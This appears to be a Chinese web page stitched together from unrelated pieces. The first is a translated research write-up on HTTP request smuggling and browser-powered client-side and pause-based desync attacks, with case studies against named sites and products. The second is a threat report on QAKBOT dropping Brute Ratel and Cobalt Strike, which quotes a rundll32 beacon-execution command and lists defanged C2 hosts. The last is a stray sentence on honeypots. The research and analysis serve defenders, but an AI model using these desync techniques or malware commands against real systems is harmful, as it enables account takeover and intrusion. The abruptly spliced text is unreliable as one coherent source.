大多數HTTP 請求走私攻擊可以描述如下:

發送一個長度不明確的HTTP 請求,使前端服務器與後端對消息的結束位置產生分歧,從而將惡意前綴應用於下一個請求。此分歧通常是通過混淆的傳輸編碼標頭來實現的。

該漏洞是由以下HTTP/2請求觸發的,該請求沒有使用任何混淆或違反任何RFC。甚至對於長度沒有任何歧義,因為HTTP/2 在幀層中有一個內置的長度字段:

6.png

此請求觸發了來自運行AWS Application Load Balancer (ALB) 作為其前端的各種網站的非常可疑的間歇性400 漏洞請求響應。調查顯示,ALB在將請求降級為HTTP/1.1轉發到後端時,添加了一個“Transfer-Encoding: chunked”標頭,而沒有對消息正文進行任何更改:

7.png

我只需要提供一個有效的被chunk對象:

8.png

這是一個發現漏洞的完美示例,它讓你回溯實際發生的情況和原因。這個請求只有一個不尋常的地方,它沒有Content-Length (CL) 標頭。由於前面提到的內置長度字段,在HTTP/2 中省略CL 是明確可接受的。然而,瀏覽器總是發送一個CL,所以服務器顯然不會期望沒有CL的請求。

檢測連接鎖定的CL.TE有了這兩個經驗教訓,我決定解決我去年在HTTP/2 研究中強調的一個未解決的問題,連接鎖定HTTP/1.1 請求走私漏洞的通用檢測。連接鎖定是指前端為與客戶端建立的每個連接創建一個到後端的新連接的常見行為。這使得直接的跨用戶攻擊幾乎不可能,但仍然留下了其他攻擊途徑。

要識別此漏洞,你需要通過單個連接發送“攻擊者”和“受害者”請求,但這會產生大量誤報,因為服務器行為無法與稱為HTTP管道的常見無害特性區別開來。例如,給定以下CL.TE 攻擊的請求/響應序列,你無法判斷目標是否易受攻擊:

9.png

HTTP 管道在Burp Repeater 中也可見,它通常被誤認為是真正的請求走私:

10.png

你可以通過將requestsPerConnection 設置從1 增加到自己在Turbo Intruder 中的測試,這只是要做好誤報的準備。

我浪費了很多時間試圖調整請求來解決這個問題。但事實證明,上面的響應不能證明存在漏洞,並且解決方案立刻就出現了:

從上面的響應序列可以看出,由於隨後的404 響應,後端正在使用傳輸編碼標頭解析請求。但是,你無法判斷前端是否使用請求的Content-Length ,並因此易受攻擊,或者是否安全地將其視為許多chunk,並假設橙色數據已通過管道傳輸。

要排除管道的可能性並證明目標確實易受攻擊,你只需在使用0\r\n\r\n 完成chunk處理請求後暫停並嘗試提前讀取。如果服務器在你的讀取嘗試期間做出響應,則表明前端認為該消息還是完整的,因此必須將其安全地分割成很多小塊:

11.png

如果你的讀取嘗試被暫停,這表明前端正在等待消息完成,因此必須使用Content-Length,從而使其易受攻擊:

12.png

這種技術也可以很容易地適應TE.CL 漏洞。將其集成到HTTP Request 走私中很快發現了一個在Barracuda WAF後面運行IIS 的網站,該網站容易受到傳輸編碼的影響。有趣的是,修復這個漏洞的更新已經出現了,但它是作為一種投機性的修復措施來實現的,所以它沒有被標記為安全版本,攻擊設備也沒有安裝它。

CL.0 瀏覽器兼容的異步雖然原先將另一個網站標記為最初看起來像連接鎖定的TE.CL 漏洞。但是,服務器沒有按預期響應我的手動探測和讀取。當我嘗試簡化請求時,我發現傳輸編碼標頭實際上被前端和後端完全忽略了。這意味著我可以完全利用它,發起攻擊:

13.png

前端使用的是Content-Length,但後端顯然完全忽略了它。結果,後端將正文作為第二個請求的方法的開始。忽略CL等同於將其視為值為0,因此這是一個CL.0異步,這是一種已知但較少探索的攻擊類。

14.png

關於此漏洞的第二個也是更重要的一點是,它是由一個完全有效的、符合規範的HTTP 請求觸發的。這意味著前端防禦它的機會為零,甚至可以由瀏覽器觸發。

攻擊是可能的,因為後端服務器根本不會接收到POST 請求。

amazon.com 上的H2.0對CL.0/H2.0 異步漏洞實施粗略掃描檢查後發現,它們影響了包括amazon.com 在內的眾多網站,亞馬遜網站忽略了發送到/b/的請求的CL:

15.png

我通過創建一個簡單的概念證明(PoC) 來確認此漏洞,該概念將隨機實時用戶的完整請求(包括身份驗證令牌)存儲在我的清單中:

16.png

在我向亞馬遜報告此事後,我意識到我還是錯過了一個危害更大的漏洞。攻擊請求非常普通,我可以讓任何人的網絡瀏覽器使用fetch() 發出它。通過在亞馬遜上使用HEAD 技術創建一個XSS 小工具並在受害者的瀏覽器中執行JavaScript,我可以讓每個受攻擊的受害者自己重新發起攻擊,並將其傳播給其他人。這樣就會產生一個異步攻擊,一種自我複制的攻擊,利用受害者在沒有用戶交互的情況下發起的攻擊,迅速利用亞馬遜上的每個活躍用戶。

我不建議在你的工作系統上嘗試此操作,但在暫存環境中嘗試可能會很有趣。

客戶端異步傳統的異步攻擊利用的是前端和後端服務器之間的連接,因此在不使用前端/後端架構的網站上是不可能的。從現在開始,我將把它稱為服務器端異步。大多數服務器端異步只能由發出格式漏洞的請求的自定義HTTP 客戶端觸發,但是,正如我們剛剛在amazon.com 上看到的,有時可以創建由瀏覽器驅動的服務器端異步。

瀏覽器導致異步的能力會引發一類全新的威脅,我將其稱為客戶端異步(client-side desync,CSD),其中異步發生在瀏覽器和前端服務器之間。這使得可以利用獨立的服務器網站,這很有價值,因為它們通常在HTTP 解析方面非常糟糕。

CSD 攻擊始於受害者訪問的感染網站,然後讓他們的瀏覽器向易受攻擊的網站發送兩個跨域請求。第一個請求的目的是使瀏覽器的連接異步,並使第二個請求觸發有害響應,通常使攻擊者控制受害者的帳戶:

17.png

攻擊方法在嘗試檢測和利用客戶端異步漏洞時,你可以重用來自服務器端異步攻擊的許多概念。主要區別在於,整個漏洞利用序列都發生在受害者的網絡瀏覽器中,這個環境比專用黑客工具更加複雜和不受控制。這帶來了一些新的挑戰,這給我在研究這項技術時帶來了很大的阻礙。為此,我開發了以下方法:

18.png

探測第一步是識別你的CSD 矢量。這個基本原語是漏洞的核心,也是構建漏洞利用的平台。我們已經在HTTP Request 走私和Burp Scanner 中實現了對這些的自動檢測,但是了解如何手動進行檢測仍然很有價值。

CSD 向量是具有兩個關鍵屬性的HTTP 請求。

首先,服務器必須忽略請求的Content-Length (CL)。這種情況通常會發生,因為請求要么觸發了服務器錯誤,要么服務器根本不期望向所選端點發出POST請求。嘗試針對靜態文件和服務器級重定向,並通過超長URL 和/%2e%2e 等半格式錯誤觸發漏洞。

其次,請求必須在web瀏覽器的跨域觸發。瀏覽器嚴重限制了對跨域請求的控制,因此你對標頭的控制有限,如果你的請求有正文,則需要使用HTTP POST 方法。最終,你只控制URL,加上一些零星的結尾,如Referer 標頭、正文和Content-Type 的後半部分:

微信截图_20220829140500.png

現在我們已經編寫了攻擊請求,我們需要檢查服務器是否忽略了CL。作為簡單的第一步,使用超長的CL 發出請求並查看服務器是否仍然回复:

20.png

這是有希望的,但不幸的是,一些安全服務器無需等待正文即可響應,因此你會遇到一些誤報。其他服務器沒有正確處理CL,而是在響應後立即關閉每個連接,使它們無法被利用。要過濾掉這些,請在同一連接下發送兩個請求,並查找第一個請求的正文影響對第二個的響應:

21.png

要在Burp Suite 中對此進行測試,將兩個請求放入Repeater中的一個標籤組,然後使用單連接發送序列。你還可以在Turbo Intruder 中通過禁用管道並將concurrentConnections 和requestsPerConnection 分別設置為1 和100 來實現此目的。

如果可行,請嘗試更改正文並確認第二個響應按預期更改。這個簡單的步驟旨在確認你對正在發生的事情的心理模型與現實相符。我個人在運行Citrix Web VPN 的系統上浪費了很多時間,只是意識到它只是為發送到某個端點的每個請求發出兩個HTTP 響應。

最後,重要的是要注意目標網站是否支持HTTP/2。 CSD 攻擊通常利用HTTP/1.1 連接重用,並且Web 瀏覽器更喜歡盡可能使用HTTP/2,因此如果目標網站支持HTTP/2,你的攻擊不太可能起作用。有一個例外;一些轉發代理不支持HTTP/2,因此你可以利用任何使用它們的人。這包括公司代理、某些VPN 甚至一些安全工具。

確認現在我們已經找到了CSD 向量,我們需要通過在真實瀏覽器中復制行為來排除任何潛在的漏洞。我推薦使用Chrome,因為它擁有創造CSD漏洞的最佳開發工具。

首先,選擇一個網站來發起攻擊。此網站必須通過HTTPS 訪問,並且位於與目標不同的域中。

接下來,確保你沒有配置代理,然後瀏覽到你的攻擊網站。打開開發人員工具並切換到網絡選項卡。為了幫助調試以後可能出現的問題,我建議進行以下調整:

選擇“保留日誌”複選框。

右鍵點擊列標題並啟用“連接ID”列。

切換到開發人員控制台並使用fetch()執行JavaScript來複製攻擊序列。如下所示:

22.png

我已將獲取模式設置為“no-cors”以確保Chrome 在“網絡”選項卡中顯示連接ID。我還設置了憑據:“包含”,因為Chrome 有兩個獨立的連接池,一個用於帶有cookie 的請求,一個用於不帶cookie 的請求。你通常會想要利用導航,並且那些使用“with-cookies”池。

執行此操作時,你應該在Network 選項卡中看到兩個具有相同連接ID 的請求,第二個應該觸發404:

23.png

如果這如預期的那樣工作,那麼恭喜你,你已經發現自己的客戶端不同步了!

探索過程現在我們已經確認了客戶端異步,下一步就是找到一個小工具來利用它。在Network選項卡中意外觸發404可能會給一些人留下深刻印象,但它不太可能產生任何用戶密碼或獎勵。

至此,我們已經確定我們可以攻擊受害者瀏覽器的連接池,並對我們選擇的HTTP 請求應用任意前綴。這是一個非常強大的原語,它提供了三種廣泛的攻擊途徑。

存儲在檢索位置一種選擇是識別目標網站上允許你存儲文本數據的功能,並編寫前綴,以便受害者的cookie、身份驗證標頭或密碼最終存儲在你可以檢索它們的位置。這種攻擊流程的工作原理與服務器端請求走私幾乎相同,所以我不會詳述。

Chainpivot下一個選項是全新的,由受害者瀏覽器中的新攻擊平台提供。

在正常情況下,很多類型的服務器端攻擊只能由直接訪問目標網站的攻擊者發起,因為它們依賴於瀏覽器拒絕發送的HTTP 請求。這幾乎包括了所有涉及篡改HTTP報頭的攻擊——Web 緩存攻擊、大多數服務器端請求走私、主機標頭攻擊、基於用戶代理的SQLi 以及許多其他攻擊。

例如,不可能讓其他人的瀏覽器在User-Agent 標頭中使用log4shell 有效負載發出以下請求:

24.png

CSD 漏洞為這些針對網站的攻擊打開了大門,這些網站由於位於受信任的內部網或隱藏在基於IP 的限制之後而受到保護。例如,如果intranet.example.com 易受CSD 攻擊,你可以使用以下請求達到相同的效果,可以在瀏覽器中使用fetch() 觸發該請求:

60a7-article-browser-powered_desync_attacks_article.jpg

瀏覽器驅動的異步攻擊:HTTP 請求走私(上)

示例探究通過自動檢測CSD 漏洞,我確定了一系列真正的易受攻擊的網站。在這一節中,我將研究其中四個更有趣的方法,並看看這種方法是如何發揮作用的。

Akamai——堆棧化HEAD在第一個案例中,我們將利用一個簡單的漏洞影響許多基於Akamai 構建的網站。作為示例目標,我將使用www.capitalone.ca。

當Akamai 發出重定向時,它會忽略請求的Content-Length 標頭,並將任何消息正文留在TCP/TLS 套接字上。 Capitalone.ca 使用Akamai 將對/assets 的請求重定向到/assets/,因此我們可以通過向該端點發出POST 請求來觸發CSD:

26.png

為了構建一個漏洞利用,我們將使用HEAD 方法將一組HTTP 標頭與text/html 的Content-Type 和一個由反映Location 標頭中的查詢字符串的標頭組成的'body'組合起來:

27.png

如果這是服務器端異步攻擊,我們可以在就此打住。然而,要想成功實現客戶端異步,我們需要解決兩個複雜問題。

第一個問題是初始重定向響應。為了執行注入的JavaScript,我們需要受害者的瀏覽器將響應呈現為HTML,但是301 重定向會被瀏覽器自動跟踪,從而阻止攻擊。一個簡單的解決方案是指定模式:'cors',它會故意觸發CORS 漏洞。這可以防止瀏覽器跟隨重定向並使我們能夠通過調用catch() 而不是then() 來恢復攻擊序列。在catch block中,我們將使用location='https://www.capitalone.ca/' 觸發瀏覽器導航。我們可能傾向於使用iframe來進行導航,但可以使用跨網站攻擊緩解措施,例如同網站cookie。

第二個複雜的問題是所謂的“堆棧響應問題”。瀏覽器有一種機制,如果接收到的響應數據多於預期,則刪除連接。這極大地影響了對多個響應進行排隊的技術的可靠性,例如我們在這裡使用的HEAD方法。為了解決這個問題,我們需要延遲對HEAD 請求的404 響應。幸運的是,在這個目標上,我們可以很容易地實現這一點,方法是添加一個具有隨機值的參數來充當緩存攻擊器,觸發緩存未命中並產生約500 毫秒的延遲。利用結果如下所示:

28.png

已向Akamai 報告了此漏洞,但我不確定何時修復。

Cisco Web VPN——客戶端緩存攻擊我們的下一個目標是Cisco ASA WebVPN,它可以忽略幾乎所有端點上的Content-Length,因此我們只需向主頁發出POST 請求即可觸發異步。為了利用它,我們將使用Host-header 重定向小工具:

29.png

最簡單的攻擊是使用此重定向感染套接字,將受害者導航到/+CSCOE+/logon.html,並希望瀏覽器嘗試使用感染的套接字導入/+CSCOE+/win.js,然後被重定向,最終從我們的網站導入惡意JS。不幸的是,這是非常不可靠的,因為瀏覽器很可能會使用被感染的套接字進行初始導航。為了避免這個問題,我們將執行客戶端緩存攻擊。

首先,我們使用重定向感染套接字,然後將瀏覽器直接導航到/+CSCOE+/win.js:

30.png

請注意,此頂級導航對於繞過緩存分區至關重要- 嘗試使用fetch() 將攻擊漏洞的緩存。

瀏覽器將使用被感染的套接字,接收惡意重定向,並將其保存在本地緩存中以供https:/redacted/+CSCOE+/win.js 使用。然後,它將遵循重定向並返回我們的網站https://psres.net/+webvpn+/index.html。我們將瀏覽器重定向到登錄頁面https://redacted/+CSCOE+/logon.html,當瀏覽器開始出現登錄頁面時,它會嘗試導入/+CSCOE+/win.js 並發現它已經將其保存在其緩存中。資源加載將遵循緩存的重定向並向https://psres.net/+webvpn+/index.html 發出第二個請求。此時,我們的服務器可以使用一些惡意JavaScript 進行響應,這些JavaScript 將在目標網站的上下文中執行。

為了使這種攻擊起作用,攻擊者的網站需要在同一端點上同時提供重定向和惡意JS。我採取了一種懶惰的方法,並使用JS/HTML 多語言解決了這個問題——Chrome 似乎並不介意不正確的Content-Type:

31.png

我在2021 年11 月10 日向思科報告了這個問題,他們最終在2022 年3 月2 日宣布棄用該產品,他們不會修復它,但仍會為其標記為CVE-2022-20713。

Verisign——碎片化的chunk在尋找不同步矢量時,最好不要超出探測有效端點的範圍,而是鼓勵服務器使用不同尋常的代碼路徑。在嘗試使用像/.%2f 這樣的半格式漏洞的URL 時,我發現我可以通過POST 到/%2f 來觸發verisign.com 上的CSD。

我最初嘗試使用基於HEAD 的方法,類似於之前在Akamai 上使用的方法。不幸的是,這種方法依賴於基於Content-Length 的響應,並且服務器向所有沒有正文的請求發送分塊響應。此外,它拒絕了包含Content-Length 的HEAD 請求。最終,經過測試,我發現服務器會對HEAD 請求發出基於CL 的響應,前提是它們使用了Transfer-Encoding: chunked。

這在服務器端異步中幾乎沒有用,但是由於受害者的瀏覽器在我的控制之下,我可以準確地預測下一個請求的大小,並在單個chunk中使用它:

32.png

此攻擊是使用以下JavaScript 觸發的:

33.png

此漏洞於2022 年7 月21 日被成功修復。

Pulse SecureVPNPulse Secure VPN會忽略對靜態文件(如/robots.txt)的POST 請求的Content-Length。就像Cisco Web VPN 一樣,這個目標有一個主機標頭重定向小工具,我將使用它來劫持JavaScript 導入。但是,這次的重定向是不可緩存的。因此客戶端緩存攻擊是不可用的。

由於我們的目標是資源負載並且沒有攻擊客戶端緩存的預期,因此攻擊時機至關重要。我們需要受害者的瀏覽器成功加載目標網站上的頁面,然後使用攻擊連接加載JavaScript 子資源。

固有的競爭條件使這種攻擊不可靠,所以如果我們只有一次嘗試,它注定會失敗——我們需要設計一個環境,可以進行多次嘗試。為了實現這一點,我將創建一個單獨的窗口,並在攻擊者頁面上保留一個句柄。

在大多數目標頁面上,如果試圖劫持JS導入失敗,將導致瀏覽器緩存真正的JavaScript文件,在緩存的JS過期之前,該頁面不會受到此類攻擊。我能夠通過定位/dana-na/meeting/meeting_testjs.cgi來避免這個問題,它從/dana-na/meeting/url_meeting/appletRedirect.js加載JavaScript,這實際上並不存在,所以它返回一個404,並沒有保存在瀏覽器的緩存中。我還用一個冗長的標頭填充了注入的請求,以緩解堆棧響應漏洞。

這導致以下攻擊流程:

1.打開一個新窗口。

2.向目標發出無害的請求以建立新的連接,從而使計時更加一致。

3.將窗口導航到位於/meeting_testjs.cgi 的目標頁面。

4.120 毫秒後,使用重定向小工具創建三個攻擊連接。

5.5 毫秒後,在渲染/meeting_testjs.cgi 時,受害者可能會嘗試導入/appletRedirect.js 並被重定向到提供惡意JS的x.psres.net。

6.如果沒有,請重試攻擊。

最終的攻擊腳本如下:

34.png

基於暫停的異步如上所述,在HTTP 請求中間暫停並觀察服務器的反應可以揭示通過篡改請求的實際內容無法獲得的有用信息。事實證明,暫停還可以通過觸發漏洞的請求超時實現來創建新的異步漏洞。

這個漏洞類是不可見的,除非你的工具有比目標服務器更高的超時時間。我非常幸運地發現了它,因為我的工具應該有2秒的超時,但由於一個漏洞,它恢復到10秒的超時。我的管道還碰巧包含一個運行Varnish的單獨網站,該網站配置了自定義的5 秒超時。

VarnishVarnish 緩存有一個稱為synth() 的特性,它可以讓你在不將請求轉發到後端的情況下發出響應。下面是一個用來阻止訪問文件夾的規則示例:

36.png

當處理匹配synth規則的部分請求時,如果Varnish在15秒內沒有收到數據,它將超時。當這種情況發生時,即使它只從套接字讀取了一半的請求,它也會讓連接保持打開狀態以便重用。這意味著,如果客戶機繼續處理HTTP請求的後半部分,它將被解釋為一個新的請求。

要在易受攻擊的前端觸發基於暫停的異步,首先發送你的標頭,承諾正文,然後等待。最終你會收到一個響應,當你最終發送你的請求正文時,它會被解釋為一個新的請求:

37.png

Apache在這個發現之後,我碰到了Turbo Intruder 的請求超時,發現同樣的技術也適用於Apache。與Varnish一樣,它在服務器自己生成響應而不是讓應用程序處理請求的端點上很容易受到攻擊。發生這種情況的一種方法是使用服務器級重定向:

38.png

如果你發現一個服務器容易受到基於暫停的異步的影響,你有兩個利用它的選項,具體取決於它是前端還是後端。

服務器端如果易受攻擊的服務器在後端運行,你可能會觸發服務器端異步。為此,你需要一個將請求流傳輸到後端的前端。特別是,它需要在不緩衝整個請求正文的情況下以HTTP 標頭轉發。

39.png

這裡有一個小問題。前端不會讀取超時響應並將其傳遞給我們,直到看到我們發送完整的請求。因此,我們需要發送我們的標頭,暫停一段時間,然後在沒有提示的情況下繼續其餘的攻擊序列。我不知道有任何安全測試工具支持像這樣部分延遲請求,所以我在Turbo Intruder 中實現了支持。隊列接口現在有三個新參數:

pause before指定一個Turbo應該暫停的偏移量。

pauseMarker 是一種替代方案,它採用Turbo 在發出後應暫停的字符串列表。

pauseTime 指定暫停多長時間,以微秒為單位;

那麼,哪些前端實際上具有這種請求流?一個著名的前端是Amazon 的Application Load Balancer (ALB),但還有一個額外的障礙。如果ALB 收到對部分請求的響應,它將拒絕重用連接。

40.png

幸運的是,這種機制中有一個固有的競爭條件。你可以通過延遲請求的後半部分來充分利用ALB 後面的Varnish,使其在後端超時的同時到達前端。

41.png

匹配超時在利用ALB 背後的Apache 時還有一個額外的複雜性,兩台服務器的默認超時時間都是60 秒。這就為發送請求的第二部分留下了極短的時間窗口。

我試圖通過發送一些被前端規範化的數據來解決這個問題,以便在不影響後端計時器的情況下重置前端的計時器。不幸的是,塊大小填充、塊擴展或TCP 重複/無序數據包都沒有達到這個目標。

最後,為了證明這個概念,我使用Turbo Intruder 發起了一次緩慢但持續的攻擊。 66個小時後,這個實驗最終成功了。

MITM 攻擊由於基於暫停的異步攻擊使用合法的HTTP 請求,人們很自然地想知道它們是否可以用來觸發客戶端異步。我探索了使瀏覽器在發出請求的中途暫停的選項,但儘管Streaming Fetch 聽起來很有希望,但它還沒有實現,最終測試失敗。

然而,有一種方法絕對可以延遲瀏覽器請求——主動MITM 攻擊。 TLS 旨在防止數據在傳輸過程中被解密或修改,但它是通過TCP 捆綁的,沒有什麼可以阻止攻擊者延遲整個數據包。這可以稱為盲目MITM 攻擊,因為它不依賴於解密任何流量。

攻擊流程與常規的客戶端異步攻擊非常相似。用戶訪問攻擊者控制的頁面,該頁面向目標應用程序發出一系列跨域請求。第一個HTTP 請求被故意填充到非常大,以至於操作系統將其拆分為多個TCP 數據包,從而使活動的MITM 能夠延遲最終數據包,從而觸發基於暫停的異步。由於存在填充,攻擊者只需根據數據包的大小就能識別出需要暫停的數據包。

42.png

我能夠使用默認配置和一個重定向規則成功地對一個獨立的基於apache的網站執行此攻擊:

43.png

從客戶端看,除了請求填充之外,它看起來像使用HEAD 小工具的常規客戶端異步:

44.png

在執行盲目MITM 的攻擊者係統上,我使用tc-NetEm 實現了延遲:

45.png

通過修改請求填充和數據包大小過濾器,我在目標瀏覽器上實現了大約90% 的成功率:

總結本文所涉及的主題和技術具有進一步研究的潛力:

1.使用瀏覽器發出的請求觸發客戶端異步的新方法;

2.一種基於暫停的服務器端異步漏洞的有效且可靠的檢測方法;

3.更多用於客戶端不同步攻擊的利用小工具;

4.使用CSD-chaining 的真實PoC;

5.一種需要MITM 來延遲瀏覽器請求的方法;

6.一種在HTPT/2 可用時強制瀏覽器使用HTTP/1 的方法;

緩解措施你可以通過使用HTTP/2 端到端來緩解本文中的大多數攻擊。 HTTP/2中也可能存在類似的漏洞,但可能性要小得多。我不建議前端支持HTTP/2,然後重寫HTTP/1.1請求來與後端通信。這確實緩解了客戶端異步攻擊,但它無法緩解服務器端基於暫停的攻擊,並且還引入了其他的威脅。

如果你的公司通過轉發代理路由員工的流量,請確保支持並啟用上游HTTP/2。注意,使用正向代理還引入了超出本文範圍的一系列額外的請求走私風險。

HTTP/1.1 的明文性質使它看起來很簡單,並使開發人員實現自己的服務器。不幸的是,即使是HTTP/1.1 的極簡實現也容易出現嚴重漏洞,特別是如果它支持連接重用或部署在單獨的前端之後。

趨勢科技的研究人員最近分析了一個與QAKBOT相關的示例,該示例導致了Brute Ratel C4和Cobalt Strike有效負載,這可以歸因於Black Basta 勒索軟件組織。

QAKBOT的惡意軟件在短暫中斷後於2022年9月8日恢復傳播,當時研究人員在這一天發現了幾個傳播機制。觀察到的傳播方法包括SmokeLoader(使用' snow0x '傳播器ID), Emotet(使用' azd '傳播器ID),以及使用' BB '和' Obama20x ' ID的惡意垃圾郵件。

最近一個涉及QAKBOT ‘BB’傳播器的示例導致部署了Brute Ratel(被趨勢科技檢測為Backdoor.Win64.BRUTEL),這是一個類似於Cobalt Strike的框架,作為第二階段有效負載。這是一個值得注意的進展,因為這是我們第一次通過QAKBOT感染觀察到Brute Ratel作為第二階段有效負載。這次攻擊還包括使用Cobalt Strike進行橫向移動。研究人員認為這些活動是Black Basta 勒索軟件組織所為。

攻擊的時間表1.png

Brute Ratel和其他CC框架的興起

與CobaltStrike一樣,BruteRatel是一種攻擊模擬工具,是商業CC框架領域的相對新的工具,它在該領域與更成熟的競爭者如Cobalt Strike競爭。

像Brute Ratel和Cobalt Strike這樣的攻擊模擬框架經常會被滲透測試專業人員使用,用於合法的滲透測試活動,在這些活動中組織尋求提高他們檢測和響應真實網絡攻擊的能力。這些框架用於從遠程位置提供實際的鍵盤訪問,以模擬攻擊者在網絡攻擊中使用的戰術、技術和過程(TTP)。

除了Cobalt Strike的合法使用示例外,它還因非法使用而臭名昭著,在過去幾年裡,它幾乎經常出現在勒索軟件攻擊中。它用作殭屍網絡的常見第二階段有效載荷,例如QAKBOT (TrojanSpy.Win64.QAKBOT),IcedID (TrojanSpy.Win64.ICEDID),Emotet (TrojanSpy.Win64.EMOTET) 和Bumblebee(Trojan.Win64.BUMBLELOADER) 等。不幸的是,在過去的幾年中,Cobalt Strike的幾個版本已被洩露,從而加速了攻擊者的惡意使用。

與Brute Ratel相比,由於其受歡迎程度高,其檢測覆蓋率比後者更大。這使得Brute Ratel和其他不太成熟的CC框架對惡意攻擊者來說越來越有吸引力,他們的活動可能在很長一段時間內都不會被發現。

Brute Ratel最近在黑市非常受歡迎,該框架的版本在地下組織中交易非常活躍,並發布了破解版本。 Brute Ratel的開發人員在最近的Twitter帖子中承認了這一漏洞。

2.png

QAKBOT 'BB' 到Brute Ratel

3.png

攻擊活動概況

該活動通過垃圾郵件開始,其中包含發送給潛在受害者的惡意新URL。 URL登錄頁面向收件人顯示ZIP文件的密碼。

4.png

已下載ZIP文件以及文件密碼的通知

繞過沙盒和安全檢測在此階段使用受密碼保護的ZIP文件可能是為了逃避安全解決方案的分析。

繞過安全檢測的標誌ZIP文件包含一個. iso文件。使用ISO文件是為了破壞“Mark of the Web (MOTW)” ,該標記將文件標記為從互聯網下載。它使這些文件受到Windows和終端安全解決方案的其他安全措施的影響。 ISO文件包含一個使用“Explorer”圖標的可見LNK文件和兩個隱藏的子目錄,每個子目錄包含各種文件和目錄。默認情況下,Windows操作系統不向用戶顯示隱藏文件。下圖說明了啟用“顯示隱藏文件”設置時用戶看到的內容。

5.png

啟用“顯示隱藏文件”設置時,用戶看到的添加隱藏子目錄

目錄結構如下:

6.png

目錄結構

命令行界面的執行順序QAKBOT在兩個腳本文件之間使用模糊處理,一個JavaScript (.js)文件和一個批處理腳本(.cmd)文件,很可能是為了隱藏看起來可疑的命令行。

9.png

命令行接口的執行順序

初始QAKBOT CC服務器通信C C基礎設施在地理上分佈在主要位於住宅Internet服務提供商(ISP) 寬帶網絡中的受損主機上。

這些“第1層”CC服務器被QAKBOT運營商認為是一次性的,並且幾乎每次有新的惡意軟件傳播時經常被更換,儘管有些服務器在多個QAKBOT惡意軟件配置中仍然存在。

自動化偵察命令在最初的CC通信之後僅6分鐘,並且QAKBOT惡意軟件現在在註入的進程(wermgr.exe)中運行,通過執行多個內置命令行工具在受感染的環境中執行自動偵察。這些命令行的執行順序如下:

10.png

內置命令行的執行順序

該活動在趨勢科技Vision One中可見,它可以檢測到這些內置Windows命令的可疑使用。

11.png

顯示與wermgr.exe相關的活動

QAKBOT釋放Brute Ratel自動偵察活動完成五分鐘後,注入QAKBOT的wermgr.exe進程釋放Brute Ratel DLL,並通過帶有“main”導出函數的rundll32.exe子進程調用它。

12.png

Brute Ratel被wermgr.exe通過rundll32.exe進程調用

該後門是一個HTTPS,它在symantecuptimehost[.]com執行擁有Brute Ratel服務器的簽入:

13.png

Brute Ratel簽入

在環境中執行進一步的偵察,以識別特權用戶。首先,使用內置的net.exe和nltest.exe。

14.png

識別特權用戶的偵察過程

其次,SharpHound實用程序通過Brute Ratel在註入的svchost.exe進程中運行,以輸出JSON文件,這些文件被輸入到BloodHound,並被標記為Active Directory組織單元、組策略、域、用戶組、計算機和用戶。然後將這些文件打包到一個ZIP文件中,以便為信息竊取做準備。整個過程都是腳本化的,只需不到兩秒鐘就可以完成。

15.png

通過svchost.exe輸出JSON文件

Brute Ratel釋放Cobalt Strike有趣的是,攻擊者選擇利用Cobalt Strike進行橫向移動。將幾個信標文件中的第一個文件放到運行Brute Ratel C4的受感染終端上,第一個文件為:C:\Users\Public\Name-123456.xls。

使用以下命令在運行Brute Ratel C4的同一主機上執行此信標文件:rundll32 C:\users\public\Name-123456.xls,DllRegisterServer。

接下來,攻擊者釋放其他信標文件,並將這些文件複製到網絡上其他主機上的管理共享,再次使用帶有XLS附件的文件名。

C:\Users\Public\abcabc.xls

C:\Users\Public\abc-1234.xls

C:\Users\Public\Orders_12_34_56.xls

C:\Users\Public\MkDir.xls

用於復製文件的命令如下:

16.png

以下列表是信標C C服務器:

hxxps://fewifasoc[.]com | 45.153.242[.]251

hxxps://hadujaza[.]com | 45.153.241[.]88

hxxps://himiketiv[.]com | 45.153.241[.]64

在採取任何最終行動之前,攻擊者會被從環境中驅逐出去。

到Brute Ratel的QAKBOT ‘Obama’在另一個事件中,趨勢科技發現QAKBOT使用‘Obama’傳播者ID前綴(即“Obama208”)也將Brutel Ratel C4作為第二級有效負載。

在此示例中,惡意軟件以受密碼保護的ZIP文件的形式通過HTML走私傳遞,這允許攻擊者“走私”編碼的惡意腳本到HTML附件或網頁。一旦用戶在瀏覽器中打開HTML頁面,就會解碼腳本並組裝有效負載。

17.png

QAKBOT傳播者使用密碼保護來抵禦網絡和沙箱安全掃描

一旦使用HTML附件中提供的密碼解密了ZIP文件,用戶就會看到一個ISO文件。惡意文件包含在ISO文件中,被用作Web繞過的標記。在內部,ISO文件包含以下目錄結構:

18.png

ISO文件目錄結構

自從QAKBOT回歸以來,研究人員觀察到執行鏈中的多種形式,從腳本語言到文件擴展名,再到導出函數名和序號的使用。對於這種感染,使用的是以下變體:

19.png

感染過程與上述攻擊中描述的TTP(戰術、技術和程序)相同。但是,在C2配置中觀察到一個顯著差異,與更傳統的HTTPS C2通道相比該配置使用HTTPS (DoH) 上的DNS。觀察到的C C服務器使用了帶有let's-Encrypt的HTTPS。

通過使用DoH,攻擊者可以隱藏C2域的DNS查詢。如果沒有使用中間人(MitM) 技術檢查SSL/TLS流量,則對C2服務器的DNS查詢將不會被注意到。

20.png

通過HTTPS (DoH)上的DNS執行C C通信的Brute Ratel進程。在採取任何最終行動之前,攻擊已經得到緩解

與Black Basta的關係21.png

QakBot到Black Basta攻擊中使用的Brute Ratel和Cobalt Strike基礎結構

根據調查,研究人員可以確定QAKBOT-to-Brute Ratel-to-Cobalt Strike攻擊鏈與Black Basta組織有關。這是基於在Black Basta攻擊中觀察到的重疊ttp和基礎設施來判斷的。

總結用戶可以通過以下一些最佳實踐來阻止新的QAKBOT變體和其他通過電子郵件傳播的攻擊:

在下載附件或從電子郵件中選擇嵌入式鏈接之前,請驗證電子郵件發件人和內容;

將指針懸停在嵌入鏈接上方以顯示鏈接的目標;

檢查發件人的身份,不熟悉的電子郵件地址,不匹配的電子郵件和發件人姓名,以及偽造的公司郵件都是危險跡象;

如果電子郵件聲稱來自合法公司,請在採取任何行動之前驗證他們是否確實發送了電子郵件。

虛擬蜜罐是由一台計算機模擬的系統,但是可以響應發送給虛擬蜜罐的網絡流量,今天我們來淺析一下虛擬蜜罐。

